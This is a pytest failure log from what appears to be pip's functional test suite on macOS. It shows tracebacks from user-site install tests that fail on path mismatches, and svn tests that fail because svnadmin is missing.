                exception_name, hex_errno, err_msg = (
                        errpipe_data.split(b':', 2))
                # The encoding here should match the encoding
                # written in by the subprocess implementations
                # like _posixsubprocess
                err_msg = err_msg.decode()
            except ValueError:
                exception_name = b'SubprocessError'
                hex_errno = b'0'
                err_msg = 'Bad exception data from child: {!r}'.format(
                              bytes(errpipe_data))
            child_exception_type = getattr(
                    builtins, exception_name.decode('ascii'),
                    SubprocessError)
            if issubclass(child_exception_type, OSError) and hex_errno:
                errno_num = int(hex_errno, 16)
                child_exec_never_called = (err_msg == "noexec")
                if child_exec_never_called:
                    err_msg = ""
                    # The error must be from chdir(cwd).
                    err_filename = cwd
                else:
                    err_filename = orig_executable
                if errno_num != 0:
                    err_msg = os.strerror(errno_num)
>               raise child_exception_type(errno_num, err_msg, err_filename)
E               FileNotFoundError: [Errno 2] No such file or directory: 'svnadmin'

/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:1702: FileNotFoundError
____________________________________________________ Tests_UserSite.test_install_from_current_directory_into_usersite ____________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x1118e1280>, script = <tests.lib.PipTestEnvironment object at 0x1118b1280>
data = <tests.lib.TestData object at 0x1118b11f0>, with_wheel = None

    @pytest.mark.incompatible_with_test_venv
    def test_install_from_current_directory_into_usersite(
            self, script, data, with_wheel):
        """
            Test installing current directory ('.') into usersite
            """
        run_from = data.packages.joinpath("FSPkg")
        result = script.pip(
            'install', '-vvv', '--user', curdir,
            cwd=run_from,
        )
    
        fspkg_folder = script.user_site / 'fspkg'
>       assert fspkg_folder in result.files_created, result.stdout
E       AssertionError: User install by explicit request
E         Created temporary directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-ephem-wheel-cache-hs30cvxo
E         Created temporary directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1
E         Initialized build tracking at /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1
E         Created build tracker: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1
E         Entered build tracker: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1
E         Created temporary directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-install-3m98e45c
E         Processing /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/data/packages/FSPkg
E           Created temporary directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-build-drdhrnvi
E           Added file:///private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/data/packages/FSPkg to build tracker '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1'
E             Running setup.py (path:/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-build-drdhrnvi/setup.py) egg_info for package from file:///private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/data/packages/FSPkg
E           Source in /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-build-drdhrnvi has version 0.1.dev0, which satisfies requirement FSPkg==0.1.dev0 from file:///private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/data/packages/FSPkg
E           Removed FSPkg==0.1.dev0 from file:///private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/data/packages/FSPkg from build tracker '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1'
E         Building wheels for collected packages: FSPkg
E           Created temporary directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-wheel-fdhu41pb
E           Building wheel for FSPkg (setup.py): started
E           Destination directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-wheel-fdhu41pb
E           Building wheel for FSPkg (setup.py): finished with status 'done'
E           Created wheel for FSPkg: filename=FSPkg-0.1.dev0-py3-none-any.whl size=1459 sha256=b00fac4a46c4d0b8b2520a000f01c47face626108721389b43724ab12804676f
E           Stored in directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-ephem-wheel-cache-hs30cvxo/wheels/91/3c/19/511ea121c22cba8261806be6173df523435d3646b9832c2d81
E         Successfully built FSPkg
E         Installing collected packages: FSPkg
E           Created temporary directory: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-unpacked-wheel-yaqpheoo
E         
E         Successfully installed FSPkg-0.1.dev0
E         Removed build tracker: '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_from_current_dire0/workspace/tmp/pip-req-tracker-ykkzr6k1'
E         
E       assert Path('venv/user/lib/python/site-packages/fspkg') in {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest...st_install_from_current_dire0/workspace:venv/user/lib/python3.8/site-packages/FSPkg-0.1.dev0.dist-info/INSTALLER>, ...}
E        +  where {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest...st_install_from_current_dire0/workspace:venv/user/lib/python3.8/site-packages/FSPkg-0.1.dev0.dist-info/INSTALLER>, ...} = <tests.lib.TestPipResult object at 0x1118e1190>.files_created

tests/functional/test_install_user.py:73: AssertionError
_________________________________________________________ Tests_UserSite.test_install_user_conflict_in_usersite __________________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x1118dcf70>, script = <tests.lib.PipTestEnvironment object at 0x1118dcbe0>

    @pytest.mark.network
    @pytest.mark.incompatible_with_test_venv
    def test_install_user_conflict_in_usersite(self, script):
        """
            Test user install with conflict in usersite updates usersite.
            """
    
        script.pip('install', '--user', 'INITools==0.3', '--no-binary=:all:')
    
        result2 = script.pip(
            'install', '--user', 'INITools==0.1', '--no-binary=:all:')
    
        # usersite has 0.1
        egg_info_folder = (
            script.user_site / 'INITools-0.1-py%s.egg-info' % pyversion
        )
        initools_v3_file = (
            # file only in 0.3
            script.base_path / script.user_site / 'initools' /
            'configparser.py'
        )
>       assert egg_info_folder in result2.files_created, str(result2)
E       AssertionError: Script result: python -m pip install --user INITools==0.1 --no-binary=:all:
E         -- stdout: --------------------
E         Collecting INITools==0.1
E           Downloading INITools-0.1.tar.gz (16 kB)
E         Could not build wheels for INITools,since package 'wheel' is not installed.
E         Installing collected packages: INITools
E           Attempting uninstall: INITools
E             Found existing installation: INITools 0.3
E             Uninstalling INITools-0.3:
E               Successfully uninstalled INITools-0.3
E             Running setup.py install for INITools: started
E             Running setup.py install for INITools: finished with status 'done'
E         Successfully installed INITools-0.1
E         
E         -- created: -------------------
E           venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info
E                                   PKG-INFO  (532 bytes)
E                                   SOURCES.txt  (332 bytes)
E                                   dependency_links.txt  (1 bytes)
E                                   installed-files.txt  (593 bytes)
E                                   top_level.txt  (9 bytes)
E                                   zip-safe  (1 bytes)
E         -- deleted: -------------------
E           venv/user/lib/python3.8/site-packages/INITools-0.3-py3.8.egg-info
E                                   PKG-INFO  (721 bytes)
E                                   SOURCES.txt  (688 bytes)
E                                   dependency_links.txt  (1 bytes)
E                                   installed-files.txt  (747 bytes)
E                                   top_level.txt  (9 bytes)
E                                   zip-safe  (1 bytes)
E                               initools/_setmixin.py  (2488 bytes)
E                                   configparser.py  (34600 bytes)
E         -- updated: -------------------
E           venv/user/lib/python3.8/site-packages
E                               initools
E                                   __init__.py  (2 bytes)
E                                   configwrapper.py  (8346 bytes)
E                                   iniparser.py  (7948 bytes)
E                                   inischema.py  (13365 bytes)
E                                   lazyiniparser.py  (5274 bytes)
E                                   lazyloader.py  (8381 bytes)
E                                   nested.py  (5262 bytes)
E       assert 'venv/user/lib/python/site-packages/INITools-0.1-py3.8.egg-info' in {'venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2...r_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info/dependency_links.txt>, ...}
E        +  where {'venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2...r_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info/dependency_links.txt>, ...} = <tests.lib.TestPipResult object at 0x11186f6a0>.files_created

tests/functional/test_install_user.py:120: AssertionError
________________________________________________________ Tests_UserSite.test_install_user_conflict_in_globalsite _________________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x110ea29a0>
virtualenv = <VirtualEnvironment /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_conflict_in_0/workspace/venv>
script = <tests.lib.PipTestEnvironment object at 0x110db7bb0>

    @pytest.mark.network
    @pytest.mark.incompatible_with_test_venv
    def test_install_user_conflict_in_globalsite(self, virtualenv, script):
        """
            Test user install with conflict in global site ignores site and
            installs to usersite
            """
        _patch_dist_in_site_packages(virtualenv)
    
        script.pip('install', 'INITools==0.2', '--no-binary=:all:')
    
        result2 = script.pip(
            'install', '--user', 'INITools==0.1', '--no-binary=:all:')
    
        # usersite has 0.1
        egg_info_folder = (
            script.user_site / 'INITools-0.1-py%s.egg-info' % pyversion
        )
        initools_folder = script.user_site / 'initools'
>       assert egg_info_folder in result2.files_created, str(result2)
E       AssertionError: Script result: python -m pip install --user INITools==0.1 --no-binary=:all:
E         -- stdout: --------------------
E         Collecting INITools==0.1
E           Downloading INITools-0.1.tar.gz (16 kB)
E         Could not build wheels for INITools,since package 'wheel' is not installed.
E         Installing collected packages: INITools
E             Running setup.py install for INITools: started
E             Running setup.py install for INITools: finished with status 'done'
E         Successfully installed INITools-0.1
E         
E         -- created: -------------------
E           venv/user/lib/python3.8
E                           site-packages
E                               INITools-0.1-py3.8.egg-info
E                                   PKG-INFO  (532 bytes)
E                                   SOURCES.txt  (332 bytes)
E                                   dependency_links.txt  (1 bytes)
E                                   installed-files.txt  (593 bytes)
E                                   top_level.txt  (9 bytes)
E                                   zip-safe  (1 bytes)
E                               initools
E                                   __init__.py  (2 bytes)
E                                   configwrapper.py  (8346 bytes)
E                                   iniparser.py  (7948 bytes)
E                                   inischema.py  (13365 bytes)
E                                   lazyiniparser.py  (5274 bytes)
E                                   lazyloader.py  (8381 bytes)
E                                   nested.py  (5262 bytes)
E         -- updated: -------------------
E           venv/user/lib
E       assert 'venv/user/lib/python/site-packages/INITools-0.1-py3.8.egg-info' in {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest..._install_user_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info/PKG-INFO>, ...}
E        +  where {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest..._install_user_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info/PKG-INFO>, ...} = <tests.lib.TestPipResult object at 0x110ec8f40>.files_created

tests/functional/test_install_user.py:142: AssertionError
________________________________________________________ Tests_UserSite.test_upgrade_user_conflict_in_globalsite _________________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x1118dcf40>
virtualenv = <VirtualEnvironment /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_upgrade_user_conflict_in_0/workspace/venv>
script = <tests.lib.PipTestEnvironment object at 0x110ed8670>

    @pytest.mark.network
    @pytest.mark.incompatible_with_test_venv
    def test_upgrade_user_conflict_in_globalsite(self, virtualenv, script):
        """
            Test user install/upgrade with conflict in global site ignores site and
            installs to usersite
            """
        _patch_dist_in_site_packages(virtualenv)
    
        script.pip('install', 'INITools==0.2', '--no-binary=:all:')
        result2 = script.pip(
            'install', '--user', '--upgrade', 'INITools', '--no-binary=:all:')
    
        # usersite has 0.3.1
        egg_info_folder = (
            script.user_site / 'INITools-0.3.1-py%s.egg-info' % pyversion
        )
        initools_folder = script.user_site / 'initools'
>       assert egg_info_folder in result2.files_created, str(result2)
E       AssertionError: Script result: python -m pip install --user --upgrade INITools --no-binary=:all:
E         -- stdout: --------------------
E         Collecting INITools
E           Downloading INITools-0.3.1.tar.gz (21 kB)
E         Could not build wheels for INITools,since package 'wheel' is not installed.
E         Installing collected packages: INITools
E             Running setup.py install for INITools: started
E             Running setup.py install for INITools: finished with status 'done'
E         Successfully installed INITools-0.3.1
E         
E         -- created: -------------------
E           venv/user/lib/python3.8
E                           site-packages
E                               INITools-0.3.1-py3.8.egg-info
E                                   PKG-INFO  (874 bytes)
E                                   SOURCES.txt  (379 bytes)
E                                   dependency_links.txt  (1 bytes)
E                                   installed-files.txt  (747 bytes)
E                                   top_level.txt  (9 bytes)
E                                   zip-safe  (1 bytes)
E                               initools
E                                   __init__.py  (2 bytes)
E                                   _setmixin.py  (2488 bytes)
E                                   configparser.py  (34580 bytes)
E                                   configwrapper.py  (8550 bytes)
E                                   iniparser.py  (8097 bytes)
E                                   inischema.py  (13460 bytes)
E                                   lazyiniparser.py  (5274 bytes)
E                                   lazyloader.py  (8574 bytes)
E                                   nested.py  (5451 bytes)
E         -- updated: -------------------
E           venv/user/lib
E       assert 'venv/user/lib/python/site-packages/INITools-0.3.1-py3.8.egg-info' in {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest...pgrade_user_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.3.1-py3.8.egg-info/PKG-INFO>, ...}
E        +  where {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest...pgrade_user_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.3.1-py3.8.egg-info/PKG-INFO>, ...} = <tests.lib.TestPipResult object at 0x1118cb700>.files_created

tests/functional/test_install_user.py:172: AssertionError
__________________________________________________ Tests_UserSite.test_install_user_conflict_in_globalsite_and_usersite __________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x1118ae2b0>
virtualenv = <VirtualEnvironment /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_conflict_in_0/workspace/venv>
script = <tests.lib.PipTestEnvironment object at 0x1118bf520>

    @pytest.mark.network
    @pytest.mark.incompatible_with_test_venv
    def test_install_user_conflict_in_globalsite_and_usersite(
            self, virtualenv, script):
        """
            Test user install with conflict in globalsite and usersite ignores
            global site and updates usersite.
            """
        _patch_dist_in_site_packages(virtualenv)
    
        script.pip('install', 'INITools==0.2', '--no-binary=:all:')
        script.pip('install', '--user', 'INITools==0.3', '--no-binary=:all:')
    
        result3 = script.pip(
            'install', '--user', 'INITools==0.1', '--no-binary=:all:')
    
        # usersite has 0.1
        egg_info_folder = (
            script.user_site / 'INITools-0.1-py%s.egg-info' % pyversion
        )
        initools_v3_file = (
            # file only in 0.3
            script.base_path / script.user_site / 'initools' /
            'configparser.py'
        )
>       assert egg_info_folder in result3.files_created, str(result3)
E       AssertionError: Script result: python -m pip install --user INITools==0.1 --no-binary=:all:
E         -- stdout: --------------------
E         Collecting INITools==0.1
E           Downloading INITools-0.1.tar.gz (16 kB)
E         Could not build wheels for INITools,since package 'wheel' is not installed.
E         Installing collected packages: INITools
E           Attempting uninstall: INITools
E             Found existing installation: INITools 0.3
E             Uninstalling INITools-0.3:
E               Successfully uninstalled INITools-0.3
E             Running setup.py install for INITools: started
E             Running setup.py install for INITools: finished with status 'done'
E         Successfully installed INITools-0.1
E         
E         -- created: -------------------
E           venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info
E                                   PKG-INFO  (532 bytes)
E                                   SOURCES.txt  (332 bytes)
E                                   dependency_links.txt  (1 bytes)
E                                   installed-files.txt  (593 bytes)
E                                   top_level.txt  (9 bytes)
E                                   zip-safe  (1 bytes)
E         -- deleted: -------------------
E           venv/user/lib/python3.8/site-packages/INITools-0.3-py3.8.egg-info
E                                   PKG-INFO  (721 bytes)
E                                   SOURCES.txt  (688 bytes)
E                                   dependency_links.txt  (1 bytes)
E                                   installed-files.txt  (747 bytes)
E                                   top_level.txt  (9 bytes)
E                                   zip-safe  (1 bytes)
E                               initools/_setmixin.py  (2488 bytes)
E                                   configparser.py  (34600 bytes)
E         -- updated: -------------------
E           venv/user/lib/python3.8/site-packages
E                               initools
E                                   __init__.py  (2 bytes)
E                                   configwrapper.py  (8346 bytes)
E                                   iniparser.py  (7948 bytes)
E                                   inischema.py  (13365 bytes)
E                                   lazyiniparser.py  (5274 bytes)
E                                   lazyloader.py  (8381 bytes)
E                                   nested.py  (5262 bytes)
E       assert 'venv/user/lib/python/site-packages/INITools-0.1-py3.8.egg-info' in {'venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2...r_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info/dependency_links.txt>, ...}
E        +  where {'venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2...r_conflict_in_0/workspace:venv/user/lib/python3.8/site-packages/INITools-0.1-py3.8.egg-info/dependency_links.txt>, ...} = <tests.lib.TestPipResult object at 0x1118aedc0>.files_created

tests/functional/test_install_user.py:209: AssertionError
________________________________________________________________________ test_install_user_wheel _________________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x110effeb0>, shared_data = <tests.lib.TestData object at 0x1110fd0d0>, with_wheel = None
tmpdir = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_wheel0')

    @pytest.mark.incompatible_with_test_venv
    def test_install_user_wheel(script, shared_data, with_wheel, tmpdir):
        """
        Test user install from wheel (that has a script)
        """
        shutil.copy(
            shared_data.packages / "has.script-1.0-py2.py3-none-any.whl", tmpdir
        )
        result = script.pip(
            'install', 'has.script==1.0', '--user', '--no-index',
            '--find-links', tmpdir,
        )
        egg_info_folder = script.user_site / 'has.script-1.0.dist-info'
>       assert egg_info_folder in result.files_created, str(result)
E       AssertionError: Script result: python -m pip install has.script==1.0 --user --no-index --find-links /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_wheel0
E         -- stdout: --------------------
E         Looking in links: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_wheel0
E         Processing /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_wheel0/has.script-1.0-py2.py3-none-any.whl
E         Installing collected packages: has.script
E         Successfully installed has.script-1.0
E         
E         -- created: -------------------
E           venv/user/bin
E                       script.py  (8 bytes)
E                   lib/python3.8
E                           site-packages
E                               has.script-1.0.dist-info
E                                   DESCRIPTION.rst  (10 bytes)
E                                   INSTALLER  (4 bytes)
E                                   METADATA  (172 bytes)
E                                   RECORD  (710 bytes)
E                                   WHEEL  (103 bytes)
E                                   pydist.json  (180 bytes)
E                                   top_level.txt  (1 bytes)
E         -- updated: -------------------
E           venv/user
E                   lib
E       assert Path('venv/user/lib/python/site-packages/has.script-1.0.dist-info') in {'venv/user/bin': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_i...c6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_wheel0/workspace:venv/user/lib/python3.8/site-packages>, ...}
E        +  where {'venv/user/bin': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_i...c6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_user_wheel0/workspace:venv/user/lib/python3.8/site-packages>, ...} = <tests.lib.TestPipResult object at 0x110db7d00>.files_created

tests/functional/test_install_wheel.py:285: AssertionError
____________________________________________________________________ test_uninstall_editable_from_svn ____________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x1118618b0>
tmpdir = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_s0')

    @pytest.mark.network
    @need_svn
    def test_uninstall_editable_from_svn(script, tmpdir):
        """
        Test uninstalling an editable installation from svn.
        """
        result = script.pip(
            'install', '-e',
            '%s#egg=initools' % (
>               local_checkout('svn+http://svn.colorstudy.com/INITools', tmpdir)
            ),
        )

tests/functional/test_uninstall.py:332: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/local_repos.py:63: in local_checkout
    _create_svn_initools_repo(repo_url_path)
tests/lib/local_repos.py:22: in _create_svn_initools_repo
    subprocess.check_call('svnadmin create INITools'.split(), cwd=directory)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:359: in check_call
    retcode = call(*popenargs, **kwargs)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:340: in call
    with Popen(*popenargs, **kwargs) as p:
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:854: in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <subprocess.Popen object at 0x1118616a0>, args = ['svnadmin', 'create', 'INITools'], executable = b'svnadmin', preexec_fn = None, close_fds = True, pass_fds = ()
cwd = '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_editable_from_s0/cache', env = None, startupinfo = None
creationflags = 0, shell = False, p2cread = -1, p2cwrite = -1, c2pread = -1, c2pwrite = -1, errread = -1, errwrite = -1, restore_signals = True, start_new_session = False

    def _execute_child(self, args, executable, preexec_fn, close_fds,
                       pass_fds, cwd, env,
                       startupinfo, creationflags, shell,
                       p2cread, p2cwrite,
                       c2pread, c2pwrite,
                       errread, errwrite,
                       restore_signals, start_new_session):
        """Execute program (POSIX version)"""
    
        if isinstance(args, (str, bytes)):
            args = [args]
        elif isinstance(args, os.PathLike):
            if shell:
                raise TypeError('path-like args is not allowed when '
                                'shell is true')
            args = [args]
        else:
            args = list(args)
    
        if shell:
            # On Android the default shell is at '/system/bin/sh'.
            unix_shell = ('/system/bin/sh' if
                      hasattr(sys, 'getandroidapilevel') else '/bin/sh')
            args = [unix_shell, "-c"] + args
            if executable:
                args[0] = executable
    
        if executable is None:
            executable = args[0]
    
        sys.audit("subprocess.Popen", executable, args, cwd, env)
    
        if (_USE_POSIX_SPAWN
                and os.path.dirname(executable)
                and preexec_fn is None
                and not close_fds
                and not pass_fds
                and cwd is None
                and (p2cread == -1 or p2cread > 2)
                and (c2pwrite == -1 or c2pwrite > 2)
                and (errwrite == -1 or errwrite > 2)
                and not start_new_session):
            self._posix_spawn(args, executable, env, restore_signals,
                              p2cread, p2cwrite,
                              c2pread, c2pwrite,
                              errread, errwrite)
            return
    
        orig_executable = executable
    
        # For transferring possible exec failure from child to parent.
        # Data format: "exception name:hex errno:description"
        # Pickle is not used; it is complex and involves memory allocation.
        errpipe_read, errpipe_write = os.pipe()
        # errpipe_write must not be in the standard io 0, 1, or 2 fd range.
        low_fds_to_close = []
        while errpipe_write < 3:
            low_fds_to_close.append(errpipe_write)
            errpipe_write = os.dup(errpipe_write)
        for low_fd in low_fds_to_close:
            os.close(low_fd)
        try:
            try:
                # We must avoid complex work that could involve
                # malloc or free in the child process to avoid
                # potential deadlocks, thus we do all this here.
                # and pass it to fork_exec()
    
                if env is not None:
                    env_list = []
                    for k, v in env.items():
                        k = os.fsencode(k)
                        if b'=' in k:
                            raise ValueError("illegal environment variable name")
                        env_list.append(k + b'=' + os.fsencode(v))
                else:
                    env_list = None  # Use execv instead of execve.
                executable = os.fsencode(executable)
                if os.path.dirname(executable):
                    executable_list = (executable,)
                else:
                    # This matches the behavior of os._execvpe().
                    executable_list = tuple(
                        os.path.join(os.fsencode(dir), executable)
                        for dir in os.get_exec_path(env))
                fds_to_keep = set(pass_fds)
                fds_to_keep.add(errpipe_write)
                self.pid = _posixsubprocess.fork_exec(
                        args, executable_list,
                        close_fds, tuple(sorted(map(int, fds_to_keep))),
                        cwd, env_list,
                        p2cread, p2cwrite, c2pread, c2pwrite,
                        errread, errwrite,
                        errpipe_read, errpipe_write,
                        restore_signals, start_new_session, preexec_fn)
                self._child_created = True
            finally:
                # be sure the FD is closed no matter what
                os.close(errpipe_write)
    
            self._close_pipe_fds(p2cread, p2cwrite,
                                 c2pread, c2pwrite,
                                 errread, errwrite)
    
            # Wait for exec to fail or succeed; possibly raising an
            # exception (limited in size)
            errpipe_data = bytearray()
            while True:
                part = os.read(errpipe_read, 50000)
                errpipe_data += part
                if not part or len(errpipe_data) > 50000:
                    break
        finally:
            # be sure the FD is closed no matter what
            os.close(errpipe_read)
    
        if errpipe_data:
            try:
                pid, sts = os.waitpid(self.pid, 0)
                if pid == self.pid:
                    self._handle_exitstatus(sts)
                else:
                    self.returncode = sys.maxsize
            except ChildProcessError:
                pass
    
            try:
                exception_name, hex_errno, err_msg = (
                        errpipe_data.split(b':', 2))
                # The encoding here should match the encoding
                # written in by the subprocess implementations
                # like _posixsubprocess
                err_msg = err_msg.decode()
            except ValueError:
                exception_name = b'SubprocessError'
                hex_errno = b'0'
                err_msg = 'Bad exception data from child: {!r}'.format(
                              bytes(errpipe_data))
            child_exception_type = getattr(
                    builtins, exception_name.decode('ascii'),
                    SubprocessError)
            if issubclass(child_exception_type, OSError) and hex_errno:
                errno_num = int(hex_errno, 16)
                child_exec_never_called = (err_msg == "noexec")
                if child_exec_never_called:
                    err_msg = ""
                    # The error must be from chdir(cwd).
                    err_filename = cwd
                else:
                    err_filename = orig_executable
                if errno_num != 0:
                    err_msg = os.strerror(errno_num)
>               raise child_exception_type(errno_num, err_msg, err_filename)
E               FileNotFoundError: [Errno 2] No such file or directory: 'svnadmin'

/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:1702: FileNotFoundError
_____________________________________________________________________ test_uninstall_from_reqs_file ______________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x1118490a0>
tmpdir = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_uninstall_from_reqs_file0')

    @pytest.mark.network
    @need_svn
    def test_uninstall_from_reqs_file(script, tmpdir):
        """
        Test uninstall from a requirements file.
    
        """
>       local_svn_url = local_checkout(
            'svn+http://svn.colorstudy.com/INITools', tmpdir,
        )

tests/functional/test_uninstall.py:394: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
